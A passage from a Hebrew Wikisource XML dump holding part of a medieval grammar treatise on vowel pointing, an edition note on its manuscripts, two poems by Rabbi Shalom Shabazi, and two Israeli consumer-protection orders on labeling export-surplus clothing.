וכל {{צ|אֵלֶיהָ}}, {{צ|בָּנֶיהָ}}, {{צ|עָלֶיהָ}}, {{צ|פָּנֶיהָ}} וכל דומיהן, נפתחין בסגול. 

וכל מלה שתמצא יו&quot;ד בסופה, כגון {{צ|עֵינַי}}, {{צ|שָׁנַי}}, {{צ|יָמַי}}, {{צ|בָּנַי}}, {{צ|חַיַּי}}, הן וכל דומיהן ננקדין בצירי. 

וכל תיבה שיהיה 'נוּ' בסופה והיא ממשקל חזק היא ננקדת בסגול, כגון אֶבְנֶּנּוּ, {{צ|אֲשׁוּרֶנּוּ}} {{ק|([[במדבר כג ט]])}}, {{צ|אֵינֶנּוּ}}, הן וכל דומיהן. ואם ממשקל הרפה, כגון {{צ|עַד בֹּאֵנוּ}} {{ק|([[שמות י כו]])}}, {{צ|עֵינֵינוּ}} {{ק|([[איכה ד יז]])}}, {{צ|עוֹדֵינוּ}} {{ק|([[איכה ד, יז|שם]])}}, {{צ|עוֹרֵנוּ}} {{ק|([[איכה ה י]])}}, {{צ|שְׁמֵנוּ}} {{ק|([[יהושע ז ט]])}}, {{צ|בָּנֵינוּ}} {{ק|([[יהושע כב כה]])}}, {{צ|בְּנוֹתֵינוּ}} {{ק|([[תהלים קמד יב]])}}, הן וכל דומ' ננקד' בצירי. ואם תמצא 'נָה' בסוף התיבה, בין שהיא ממשקל חזק בין שהיא ממשקל הרפה, הן ננקד' בסגול, כגון {{צ|אֵינֶנָּה}} {{ק|([[בראשית ז ח]])}}, {{צ|אֶעֱשֶׂנָּה}} {{ק|([[מ&quot;א יא יב]])}}, {{צ|אֲצִיתֶנָּה}} {{ק|([[ישעיהו כז ד]])}}, {{צ|תְּבִיאֶנָּה}} {{ק|([[ויקרא ו יד]])}}, תְּבִיאֶנָה, {{צ|לְיַחְמֵנָּה}} {{ק|([[בראשית ל מא]])}}, {{צ|תַּעֲשֶׂינָה}} {{ק|([[דברים א מד]])}}, {{צ|תִּהְיֶינָה}} {{ק|([[ויקרא כג טו]])}}. בר מן עניין חד: {{צ|הַאְזֵנָּה אִמְרָתִי}}, והן ב': {{צ|נְשֵׁי לֶמֶךְ}} {{ק|([[בראשית ד כג]])}}, {{צ|בָּנוֹת בֹּטְחוֹת}} {{ק|([[ישעיהו לב ט]])}}, שהן ננקדין בצירי, אין אדם יכול להשיב עליהן, שכך הם מקובלין. 

ובזה דע והבן: מש&quot;ה מפֵק אל&quot;ף, בוכ&quot;ל לא מפק אל&quot;ף. כל מקום שתמצא אחת מג' אותיות הללו – מש&quot;ה – בראש התיבה שהיא שם, כגון {{צ|מֵיְיָ}}, {{צ|שֶׁיְיָ}}, {{צ|הַיְיָ}}, {{צ|מֵאֱלֹהִים}}, {{צ|הָאֱלֹהִים}}; או בלש'ון אדונות, כמו {{צ|הָאָדוֹן}} {{ק|([[ישעיהו א כד]])}}, {{צ|מֵאֲדֹנִי}} {{ק|([[בראשית מז יח]])}}, האל&quot;ף אשר אחריהם נקראת ונשמעת בלשון. ואם אחד מאותיות בוכ&quot;ל בראש תיבת השם או בראש תיבה שהיא עניין אדונות, כמו {{צ|אַךְ בַּייָ}} {{ק|([[במדבר יד ט]])}}, {{צ|בֵּאלֹהִים הִלַּלְנוּ}} {{ק|([[תהלים מד ט]])}}, {{צ|וַייָ אֱלֹהִים אֱמֶת}} {{ק|([[ירמיהו י י]])}}, {{צ|וֵאלֹהֵי אֲבִיכֶם}} {{ק|([[בראשית לא כט]])}}, {{צ|מִי אֵל גָּדוֹל כֵּאלֹהִים}} {{ק|([[תהלים עז יד]])}}, {{צ|לֵאלֹהִים}}, {{צ|לֵאלֹהֵינוּ}}, {{צ|בַּאדֹנִי [כִּי] (ב)מְשִׁיחַ יְיָ}} {{ק|([[ש&quot;א כד י]])}}, {{צ|וַאדֹנִי חָכָם}} {{ק|([[ש&quot;ב יד כ]])}}, {{צ|הִנֶּנּוּ עֲבָדִים לַאדֹנִי}} {{ק|([[בראשית מד טז]])}}, כולהון לא מפקין אל&quot;ף ואינן נשמעות בלשון. בר מן ב' בעניין אלהות דמפקין אל&quot;ף, והן {{צ|אֵין כָּמוֹךָ בָאֱלֹהִים אֲדֹנָי}} {{ק|([[תהלים פו ח]])}}, {{צ|זֹבֵחַ לָאֱלֹהִים יָחֳרָם}} {{ק|([[שמות כב יט]])}}, ואין זולתם. ובלשון אדונות הם ז' דמפקין אל&quot;ף, וסימ': {{צ|הוּא אֱלֹהֵי הָאֱלֹהִים וַאֲדֹנֵי הָאֲדֹנִים}} {{ק|([[דברים י יז]])}}, {{צ|לַאֲדֹנֵיהֶם לְמֶלֶךְ מִצְרָיִם}} {{ק|([[בראשית מ א]])}}, {{צ|הָאֹמְרֹת לַאֲדֹנֵיהֶם}} {{ק|([[עמוס ד א]])}}, {{צ|וַאֲדֹנֵינוּ דָוִד לֹא יָדָע}} {{ק|([[מ&quot;א א יא]])}}, {{צ|וַאֲדֹנֵינוּ מִכָּל אֱלֹהִים}} {{ק|([[תהלים קלה ה]])}}, {{צ|הוֹדוּ לַאֲדֹנֵי הָאֲדֹנִים}} {{ק|([[תהלים קלו ג]])}}, {{צ|כִּי קָדוֹשׁ הַיּוֹם לַאֲדֹנֵינוּ}} {{ק|([[נחמיה ח י]])}}. 

שלמו מחלקות קמץ גדול ופתח גדול ומחלקות צירי וסגול הנקראים 'קמץ קטן' ו'פתח קטון'. עתה נבין בשערי השוא אשר נקרא 'חטף'.


[[קטגוריה:לשון הקודש ודקדוק]]
[[קטגוריה:יצירות שנכתבו בערבית יהודית]]</text>
      <sha1>2pnrzks6sewcjpm177skuong26f794h</sha1>
    </revision>
  </page>
  <page>
    <title>טעמי המקרא (הוריית הקורא)/אודות המהדורה</title>
    <ns>0</ns>
    <id>1744207</id>
    <revision>
      <id>3020712</id>
      <parentid>3020331</parentid>
      <timestamp>2026-06-18T21:39:05Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <origin>3020712</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3598" sha1="7kcb6d0s9rjspkyir7exsze362yb9oi" xml:space="preserve">&lt;center&gt;&lt;div style=&quot;background-color: #f0f0f0; border: 4px solid #ff0000; padding: 15px; border-radius: 5px;width: 400px;&quot;&gt;
'''העבודה על המהדורה טרם הסתיימה,{{ש}}היא נמשכת ואי&quot;ה תושלם בקרוב.'''
&lt;/div&gt;&lt;/center&gt;

&quot;טעמי המקרא&quot; הוא שמו של אחד משני התרגומיים העבריים שנעשו בימה&quot;ב לספר &quot;מכ'תצר הדאיה אלקאר&quot; (=הוריית הקורא הקצר), שבעבר יוחס לרבי [[w:יהודה אבן בלעם|יהודה אבן בלעם]] וכיום סבורים כי מחברו הוא [[w:אבו אל-פרג' הארון|אבו אל-פרג' הארון]], חכם קראי ירושלמי בן המאה ה-11. תרגום זה מכונה כך ב[https://www.nli.org.il/he/manuscripts/NNL_ALEPH990001318550205171/NLI כ&quot;י פריס, Ms. hebr. 1221], שממנו נדפס הספר לראשונה ע&quot;י יוחנן מירקירוס, [https://www.nli.org.il/he/books/NNL_ALEPH990010893690205171/NLI פריס שכ&quot;ו].{{הערה|ראו עוד את דפוס הצילום ([https://www.nli.org.il/he/books/NNL_ALEPH990010893610205171/NLI ירושלים: מקור, תשל&quot;ח]) ו[http://www.teachittome.com/seforim2/seforim/taamey_hamikra.pdf סריקה שנעשתה ממנו].}} העתקה נוספת של תרגום זה מצויה ב[https://digitallibrary.unicatt.it/veneranda/0b02da82803a7798 כ&quot;י מילאנו, הספריה האמברוסיאנית, 88 (A 186 inf.)],{{הערה|ראו גם [https://www.nli.org.il/he/manuscripts/NNL_ALEPH990001768830205171/NLI סריקה ממיקרופילם באתר הספריה הלאומית].}} ושם הוא מכונה &quot;תוכן עזרא&quot;.{{הערה|התרגום השני מכונה &quot;הוריית הקורא&quot;, והוא מופיע ב[https://www.nli.org.il/he/manuscripts/NNL_ALEPH990001024140205171/NLI כ&quot;י ספריית הוטיקן, Ms. ebr. 402]; כנראה אין סריקה זמינה ממנו.}}

מהדורת ויקיטקסט מבוססת על שני כתבי יד אלו, על פי הכללים הבאים:
*בשינויי נוסחאות ללא הבדל משמעותי (או כשבאחת הנוסחאות טעות מוכחת) נבחר הנוסח הטוב יותר.
*אם שניהם כאחד טובים ניתנה בדרך כלל עדיפות לנוסח כ&quot;י פריס מהסיבות הבאות: 1. כאמור, נוסח כתב יד זה הגיע אל הדפוס. 2. בדרך כלל יש בו פחות טעויות. 3. נראה שהוא נאמן יותר למקור מאשר תוכן עזרא שכפי הנראה מכיל תוספות רבות, ויש סיבה איפוא להניח שגם חלק מהשינויים מקורם בעיבוד מאוחר. 
*כשיש הבדל משמעותי בין הנוסחאות הוצגו שתיהן בזו אחר זו בתוך [סוגריים מרובעים].
*כמו כן כשבאחד מכתבי היד תוספת שאין בשני, היא מוצגת בסוגריים.
*כל המובאות מן המקרא נערכו מחדש ע&quot;פ התנ&quot;כים המדויקים, לא צוינו שינויי איות קלים. במקום שמוכח כי לפני המחבר עמד נוסח שונה, מוצג נוסח המחבר, ולצד הקישור לפסוק נוסף: &quot;עי&quot;ש&quot;.
*במהדורה זו נוסף ניקוד לפסוקים וכן ניקוד חלקי בעת הצורך, פיסוק חדש, וחלוקה חדשה לפסקאות. 
*עוד נוספה במהדורה זו חלוקה באמצעות כותרות של מספרים, העוקבת אחר החלוקה הפנימית של הספר.

==הערות==
&lt;references/&gt;</text>
      <sha1>7kcb6d0s9rjspkyir7exsze362yb9oi</sha1>
    </revision>
  </page>
  <page>
    <title>דברי שיר</title>
    <ns>0</ns>
    <id>1744208</id>
    <revision>
      <id>3020731</id>
      <parentid>3019571</parentid>
      <timestamp>2026-06-19T08:09:27Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020731</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2780" sha1="ofhs7upbtkfuzchd57of5prxgnt8utx" xml:space="preserve">*מאת רבי שלום שבזי. סימן השיר &quot;שלם יוסף&quot; (דהיינו שלום בן יוסף)
{{טקסט מנוקד|גודל=20}}
דַּבְּרִי שִׁיר יְחִידָה דַּבְּרִי{{ש}}
שַׁבְּחִי אֶת אֱלֹהִים יוֹצְרִי{{ש}}
מִתְּשׁוּקַת זְמָן הִתְנַעֲרִי{{ש}}
מֵהֲבָלָיו, בְּטוֹב הִתְבַּשְּׂרִי:

שַׁאֲלִי נָא לְטוֹבֵי הַגְּמוּל{{ש}}
תֵּדְעִי סוֹד בְּגַלְגַּל הָעֲגוּל{{ש}}
תִּצְלְחִי תַּעֲלִי לִמְקוֹם זְבוּל{{ש}}
יוֹם נְעוּרֵךְ אֱלֹהַךְ תִּזְכְּרִי:

לָךְ יְקַוּוּ שְׂרִידֵי מַעֲלָה{{ש}}
גַּם יְהֶא לָךְ בְּעֵדֶן נַחֲלָה{{ש}}
חֵן וְטוֹבָה תְּהֶא מִשְׁתַּלְשְׁלָה{{ש}}
אִם בְּעֵין הַיְּדִידִים תִּיקְרִי:

מַעֲלָתֵךְ לְמַעְלָה תַחֲנִי{{ש}}
תּוֹך עֲרָבוֹת כְּקֶדֶם תִּשְׁכְּנִי{{ש}}
כִּי בְצֵל יוֹצְרֵךְ תִּתְלוֹנְנִי{{ש}}
מַהֲרִי נָא שְׁבָח אֵל סַדְּרִי:

יִתְּנוּ לָךְ יְקָר עִם אַהֲבָה{{ש}}
תַּעֲמוֹדִי בְקוֹמָה נִצְּבָה{{ש}}
כַּת מְטַטְרוֹן אֲשֶׁר הוּא שַׂר צְבָא{{ש}}
תִּמְצְאִי שָׁם וְאָז תִּתְהַדְּרִי:

וַעֲדִי חֵן וְחֶסֶד תִּלְבְּשִׁי{{ש}}
שָׁם כְּכַלָּה בְּתוֹם תִּתְקַדְּשִׁי{{ש}}
גַּן בְּעֵדֶן מְחִיצָה תִירְשִׁי{{ש}}
יֵ&quot;שׁ בְּמִנְיָן בְּעוֹלָמוֹת שְׁרִי:

סַלְּדִי הַחֲשׁוּקָה יַחֲדִי{{ש}}
וּשְׁמְרִי עֵת בְּרַגְלֵךְ תִּצְעֲדִי{{ש}}
כִּי בְשֵׂכֶל שֶׁהוּא דַק תִּצְמְדִי{{ש}}
מַהֲרִי לָךְ וְאַל תִּתְאַחֲרִי:

פָּעֳלֵךְ יַשְּׁרִי יוֹם הַנְּדוֹד{{ש}}
וּזְכְרִי יוֹם יְהִי חֶשְׁבּוֹן וְעֵד{{ש}}
יוֹם פְּגִישַׁת יְפַת עַיִן וְדוֹד{{ש}}
לַעֲשׂוֹת טוֹב שְׁבִיסֵךְ תִּקְשְׁרִי:

אֶחְתְּמָה שִׁיר בְּנֶפֶשׁ בּוֹטְחָה{{ש}}
בָּךְ, אֱלֹהַי עֲווֹנִי תִסְלְחָה{{ש}}
עַבְדְּךָ בֵּן לְיוֹסֵף שַׂמְּחָה{{ש}}
אֵל אֱלֹהִים יְהִי נָא שׁוֹמְרִי:
[[קטגוריה:נשוד]][[קטגוריה:שירי רבי שלום שבזי]][[קטגוריה:פיוטי יהדות תימן]]</text>
      <sha1>ofhs7upbtkfuzchd57of5prxgnt8utx</sha1>
    </revision>
  </page>
  <page>
    <title>צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)</title>
    <ns>0</ns>
    <id>1744212</id>
    <revision>
      <id>3020672</id>
      <parentid>3020556</parentid>
      <timestamp>2026-06-18T17:01:28Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3020655] הגהה</comment>
      <origin>3020672</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2494" sha1="n6rnd4kyxt2wbkec6y4e6y49184iuy1" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), התשנ״א–1990}}

{{ח:פתיח-התחלה}}
{{ח:תיבה|ק״ת התשנ״א, 142|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה)|https://olaw.org.il/takanot/takanot-5302.pdf}}; {{ח:תיבה|התשנ״ב, 428|תיקון|https://olaw.org.il/takanot/takanot-5397.pdf}}; {{ח:תיבה|התשנ״ג, 315|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5494.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:מבוא}}
בתוקף סמכותי לפי {{ח:חיצוני|חוק הגנת הצרכן#סעיף 17|סעיף 17}} {{ח:חיצוני|חוק הגנת הצרכן|לחוק הגנת הצרכן, התשמ״א–1981}}, אני מצווה לאמור:
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|הגדרה}}
{{ח:ת}} בצו זה, ”עודפי יצוא“ – מוצר הלבשה או גרביים מסוג א׳, המיוצרים לשם יצוא, המשווקים בארץ, והמסומנים בתווית לועזית הכוללת את שם הלקוח בחוץ לארץ, סימנו המסחרי או כל פרט אחר המעיד שהם יוצרו לשם יצוא.

{{ח:סעיף|2|הוראת שעה|תיקון: תשנ״ב, תשנ״ג}}
{{ח:ת}} בתקופה שבין י״ג בחשון התשנ״א (1 בנובמבר 1990) ובין ט״ז בכסלו התשנ״ד (30 בנובמבר 1993), לא יחולו על עודפי יצוא הוראות {{ח:חיצוני|צו הגנת הצרכן (סימון טובין)#סעיף 5|סעיף 5 לצו הגנת הצרכן (סימון טובין), התשמ״ג–1983}}, והוראות {{ח:חיצוני|צו הגנת הצרכן (סימון טובין)#תוספת 2 פרט 10|סעיף 10(ג)(1)(2) לתוספת השניה שבו}}, ובמקומן יחולו הוראות צו זה.

{{ח:סעיף|3|סימון עודפי יצוא}}
{{ח:ת}} הסימון של עודפי יצוא ייעשה –
{{ח:תת|(1)}} כשהם ארוזים באריזה – על גבי תווית נייר המודבקת בדבק טכסטיל על האריזה;
{{ח:תת|(2)}} כשהם אינם ארוזים באריזה – על גבי תווית נייר המחוברת אליהם בחוט.

{{ח:חתימות|כ״ח באלול התש״ן (18 בספטמבר 1990)}}
* '''משה נסים'''&lt;br&gt;שר התעשיה והמסחר
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>n6rnd4kyxt2wbkec6y4e6y49184iuy1</sha1>
    </revision>
  </page>
  <page>
    <title>צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)</title>
    <ns>0</ns>
    <id>1744215</id>
    <revision>
      <id>3020671</id>
      <parentid>3020549</parentid>
      <timestamp>2026-06-18T17:01:21Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3020656] הגהה</comment>
      <origin>3020671</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2908" sha1="dbr3u8972kzw0bkg6n2ejdiln61dux0" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), התשמ״ז–1987}}

{{ח:פתיח-התחלה}}
{{ח:תיבה|ק״ת התשמ״ז, 982|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה)|https://olaw.org.il/takanot/takanot-5035.pdf}}; {{ח:תיבה|התשמ״ח, 444|תיקון|https://olaw.org.il/takanot/takanot-5083.pdf}}, {{ח:תיבה|804|ת״ט|https://olaw.org.il/takanot/takanot-5106.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:מבוא}}
בתוקף סמכותי לפי {{ח:חיצוני|חוק הגנת הצרכן#סעיף 17|סעיף 17}} {{ח:חיצוני|חוק הגנת הצרכן|לחוק הגנת הצרכן, התשמ״א–1981}}, {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 5|וסעיפים 5}}, {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 15|15}} {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 47|ו־47}} {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים|לחוק הפיקוח על מצרכים ושירותים, התשי״ח–1957}}, אני מצווה לאמור:
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|הגדרה}}
{{ח:ת}} בצו זה, ”עודפי יצוא“ – מוצר הלבשה או גרביים מסוג א׳, המיוצרים לשם יצוא, המשווקים בארץ, והמסומנים בתווית לועזית הכוללת את שם הלקוח בחוץ לארץ, סימנו המסחרי, או כל פרט אחר המעיד שהם יוצרו לשם יצוא.

{{ח:סעיף|2|הוראת שעה|תיקון: תשמ״ח, תשמ״ח־2}}
{{ח:ת}} בתקופה שבין ב׳ באייר התשמ״ז (1 במאי 1987) ובין כ״א בחשון התשמ״ט (1 בנובמבר 1987), לא יחולו על עודפי יצוא הוראות {{ח:חיצוני|צו הגנת הצרכן (סימון טובין)#סעיף 5|סעיף 5 לצו הגנת הצרכן (סימון טובין), התשמ״ג–1983}}, והוראות {{ח:חיצוני|צו הגנת הצרכן (סימון טובין)#תוספת 2 פרט 10|סעיף 10(ג)(1)(2) לתוספת השניה שבו}}, ובמקומו יחולו הוראות צו זה.

{{ח:סעיף|3|סימון עודפי יצוא}}
{{ח:ת}} הסימון של עודפי יצוא ייעשה –
{{ח:תת|(1)}} כשהם ארוזים באריזה – על גבי תווית נייר המודבקת בדבק טכסטיל על האריזה;
{{ח:תת|(2)}} כשהם אינם ארוזים באריזה – על גבי תווית נייר המחוברת אליהם בחוט.

{{ח:חתימות|כ״ב בניסן התשמ״ז (21 באפריל 1987)}}
* '''אריאל שרון'''&lt;br&gt;שר התעשיה והמסחר
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>dbr3u8972kzw0bkg6n2ejdiln61dux0</sha1>
    </revision>
  </page>
  <page>
    <title>ביום שבת אשבח</title>
    <ns>0</ns>
    <id>1744217</id>
    <revision>
      <id>3020679</id>
      <parentid>3019598</parentid>
      <timestamp>2026-06-18T17:06:08Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020679</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3914" sha1="06109o02clh2vfkq2jni2d7uwfgzsbe" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: שלם בן יוסף
בְּיוֹם שַׁבָּת אֲשַׁבֵּחַ / לְאֵל חַי גּוֹאֲלִי {{ש}}
וְאַקְרִיב קָרְבְּנוֹת רֵיחַ / בְּיוֹם שׁוּב הֵיכְלִי:

שְׁחִי לָאֵל יְחִידָתִי / בְּקוֹלֵךְ הַלְּלִי {{ש}}
וְזִכְרִי יוֹם מְנוּחָתִי / וְעֻלּוֹ תִסְבְּלִי {{ש}}
וְהוֹסִיפִי בְּשִׂמְחָתִי / וְאַל תִּתְאַבְּלִי {{ש}}
וְלִבִּי טוֹב וְשָׂמֵחַ / בְּחֵן מִתְנַהֲלִי:

לְתִלךּ אַליַום צַח וַאגִׄב / עְלַינַא נַסתְרִיח {{ש}}
בִקַלבֻן שַׁוקְהוּ רַאגִב / וְלַא נַדׄכֻר קְבִיח {{ש}}
וְלַא נַדׄכֻּר לִמַא נַכּסִב / וְלַא מִהרַה נִבִיח {{ש}}
וַאלַאשׁגַאל כֻּלַּהַא נַטרַח / לְסִרֻן חַאצִלִי:

מְנוּחָה הִיא לְכֻלָּנוּ / וְעֹנֶג יוֹם שְׁבוֹת {{ש}}
וּמַה יָּפֶה הֲדָרֵנוּ / בְּכֹל הַמַּצְּבוֹת:{{ש}}
וּבִזְכוּתָהּ יְחַיֵּנוּ / אֲדוֹן הַמִּפְעֲלוֹת {{ש}}
בְּלֵב שׁוֹקֵט וּבוֹטֵחַ / יְרַפֵּא מַחֲלִי:

בְאַרץ̇ אַללַהּ יוּקִפנַא / וְיַסבִל נִעמְתֻה {{ש}}
וְנַרגַׄע חַיתׄ מַא כֻּנַּא / וְיַבלִג רַחמְתֻה {{ש}}
אִלַאהִי גַׄלִּ כַׄאלִקנַא / תִעַלַּת קֻדרְתֻה {{ש}}
כַׄטַאנַא וַאלדֻׄנוּב יַסמַח / בְאַמרֻן עַאדִלִי:

נְעִים דַּעַת שְׁמוֹר שַׁבָּת / כְּתָקְנוֹ וּשְׂמְחָה {{ש}}
וְזֶה עִיקַר יְסוֹד הַדָּת / שְׁמוֹר אַל תִּשְׁכְּחָה {{ש}}
וְכָל שֶׁחִלְּלָהּ יוּמָת / סְקֵלָה נוֹכְחָה {{ש}}
וְאֵין בָּהּ לַעֲשׂוֹת טֹרַח / וְחֶשְׁבּוֹן מִפְעֲלִי:

יְגִׄב פִיה נַדׄכֻּר אַלעִלמַא / וּנַנסַא כֻּלּ הַם {{ש}}
וְנַפעַל רַאיְנַא פי מַא / עְלַינַא קַד חְכַּם {{ש}}
וּנַתרֻךּ גֻׄמלַת אַלוַהמַא / וְנַכּתִׄר פִי אלנִּעַם {{ש}}
וּכַׄיר אַללַה לַא יַברַח / עְלַינַא שַׁאמִלִי:

וְזֶהוּ יוֹם אֲשֶׁר שָׁבַת / וְהִשְׁלִים כָּל יְצוּר {{ש}}
וְצִוָּה עָם בְּנֵי דַעַת / אֲדוֹן נוֹרָא וְצוּר {{ש}}
וְאָמַר: זֶה יְהֶא נַחַת / וְלָהּ עַמִּי שְׁמוּר {{ש}}
וּבָהּ תִּזְכֶּה עֲדֵי נֵצַח / וְתִרְאֶה צַהֲלִי:

סְעוֹדוֹת תַּכְּנָה שָׁלֹשׁ / וְתִשְׂמַח לַחֲזוֹת {{ש}}
בְּסוֹד חָכְמָה וְלֹא תָמֵשׁ / וְתִתְבּוֹנֵן בְּזֹאת {{ש}}
וְתִתְכַּוֵּן וְתִתְקַדֵּשׁ / בְּדֵעוֹת עוֹלְזוֹת {{ש}}
בְּקַבָּלָה וְסוֹד תִּפְתַּח / תְּהֶא חֵן נִגְמְלִי:

פְתַא מַן אַתַּבַע דִינֹה / עְלַי חַסב אַלנִּצַׄאם {{ש}}
וְחַכַּם כֻּלּ קְוַאנִינֹה סְבִיל / נִסְל אַלכִּרַאם {{ש}}
יְצִיר חַוזֹה וּתַחצִינֹה / בְעַדנַאן פִי סַלַאם {{ש}}
לַהוּ אלְאַסרַאר תַתצַרַח / וְיַבקַא כַּאמִלִי:
[[קטגוריה:שירי רבי שלום שבזי]][[קטגוריה:נשוד]][[קטגוריה:פיוטי יהדות תימן]]
[[קטגוריה:שירי שבת (דיואן)]]</text>
      <sha1>06109o02clh2vfkq2jni2d7uwfgzsbe</sha1>
    </revision>
    <revision>
      <id>3020680</id>
      <parentid>3020679</parentid>
      <timestamp>2026-06-18T17:07:06Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020680</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3743" sha1="4pdk1gq025jyx1ln4efhqvc1pk67kvd" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: שלם בן יוסף
{{שיר מנוקד|
בְּיוֹם שַׁבָּת אֲשַׁבֵּחַ / לְאֵל חַי גּוֹאֲלִי
וְאַקְרִיב קָרְבְּנוֹת רֵיחַ / בְּיוֹם שׁוּב הֵיכְלִי:

שְׁחִי לָאֵל יְחִידָתִי / בְּקוֹלֵךְ הַלְּלִי
וְזִכְרִי יוֹם מְנוּחָתִי / וְעֻלּוֹ תִסְבְּלִי
וְהוֹסִיפִי בְּשִׂמְחָתִי / וְאַל תִּתְאַבְּלִי
וְלִבִּי טוֹב וְשָׂמֵחַ / בְּחֵן מִתְנַהֲלִי:

לְתִלךּ אַליַום צַח וַאגִׄב / עְלַינַא נַסתְרִיח
בִקַלבֻן שַׁוקְהוּ רַאגִב / וְלַא נַדׄכֻר קְבִיח
וְלַא נַדׄכֻּר לִמַא נַכּסִב / וְלַא מִהרַה נִבִיח
וַאלַאשׁגַאל כֻּלַּהַא נַטרַח / לְסִרֻן חַאצִלִי:

מְנוּחָה הִיא לְכֻלָּנוּ / וְעֹנֶג יוֹם שְׁבוֹת
וּמַה יָּפֶה הֲדָרֵנוּ / בְּכֹל הַמַּצְּבוֹת:
וּבִזְכוּתָהּ יְחַיֵּנוּ / אֲדוֹן הַמִּפְעֲלוֹת
בְּלֵב שׁוֹקֵט וּבוֹטֵחַ / יְרַפֵּא מַחֲלִי:

בְאַרץ̇ אַללַהּ יוּקִפנַא / וְיַסבִל נִעמְתֻה
וְנַרגַׄע חַיתׄ מַא כֻּנַּא / וְיַבלִג רַחמְתֻה
אִלַאהִי גַׄלִּ כַׄאלִקנַא / תִעַלַּת קֻדרְתֻה
כַׄטַאנַא וַאלדֻׄנוּב יַסמַח / בְאַמרֻן עַאדִלִי:

נְעִים דַּעַת שְׁמוֹר שַׁבָּת / כְּתָקְנוֹ וּשְׂמְחָה
וְזֶה עִיקַר יְסוֹד הַדָּת / שְׁמוֹר אַל תִּשְׁכְּחָה
וְכָל שֶׁחִלְּלָהּ יוּמָת / סְקֵלָה נוֹכְחָה
וְאֵין בָּהּ לַעֲשׂוֹת טֹרַח / וְחֶשְׁבּוֹן מִפְעֲלִי:

יְגִׄב פִיה נַדׄכֻּר אַלעִלמַא / וּנַנסַא כֻּלּ הַם
וְנַפעַל רַאיְנַא פי מַא / עְלַינַא קַד חְכַּם
וּנַתרֻךּ גֻׄמלַת אַלוַהמַא / וְנַכּתִׄר פִי אלנִּעַם
וּכַׄיר אַללַה לַא יַברַח / עְלַינַא שַׁאמִלִי:

וְזֶהוּ יוֹם אֲשֶׁר שָׁבַת / וְהִשְׁלִים כָּל יְצוּר
וְצִוָּה עָם בְּנֵי דַעַת / אֲדוֹן נוֹרָא וְצוּר
וְאָמַר: זֶה יְהֶא נַחַת / וְלָהּ עַמִּי שְׁמוּר
וּבָהּ תִּזְכֶּה עֲדֵי נֵצַח / וְתִרְאֶה צַהֲלִי:

סְעוֹדוֹת תַּכְּנָה שָׁלֹשׁ / וְתִשְׂמַח לַחֲזוֹת
בְּסוֹד חָכְמָה וְלֹא תָמֵשׁ / וְתִתְבּוֹנֵן בְּזֹאת
וְתִתְכַּוֵּן וְתִתְקַדֵּשׁ / בְּדֵעוֹת עוֹלְזוֹת
בְּקַבָּלָה וְסוֹד תִּפְתַּח / תְּהֶא חֵן נִגְמְלִי:

פְתַא מַן אַתַּבַע דִינֹה / עְלַי חַסב אַלנִּצַׄאם
וְחַכַּם כֻּלּ קְוַאנִינֹה סְבִיל / נִסְל אַלכִּרַאם
יְצִיר חַוזֹה וּתַחצִינֹה / בְעַדנַאן פִי סַלַאם
לַהוּ אלְאַסרַאר תַתצַרַח / וְיַבקַא כַּאמִלִי:
}}
[[קטגוריה:שירי רבי שלום שבזי]][[קטגוריה:נשוד]][[קטגוריה:פיוטי יהדות תימן]]
[[קטגוריה:שירי שבת (דיואן)]]</text>
      <sha1>4pdk1gq025jyx1ln4efhqvc1pk67kvd</sha1>
    </revision>
  </page>
  <page>
    <title>משתמש:אלשרעבי</title>
    <ns>2</ns>
    <id>1744228</id>
    <revision>
      <id>3020667</id>
      <parentid>3019640</parentid>
      <timestamp>2026-06-18T16:48:49Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020667</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="92" sha1="214hd2onnlgej19k91p47j2zukbo7gi" xml:space="preserve">בס&quot;ד
מתעסק בשירה ופיוט בכלל ובשירת יהודי תימן בפרט.</text>
      <sha1>214hd2onnlgej19k91p47j2zukbo7gi</sha1>
    </revision>
    <revision>
      <id>3020668</id>
      <parentid>3020667</parentid>
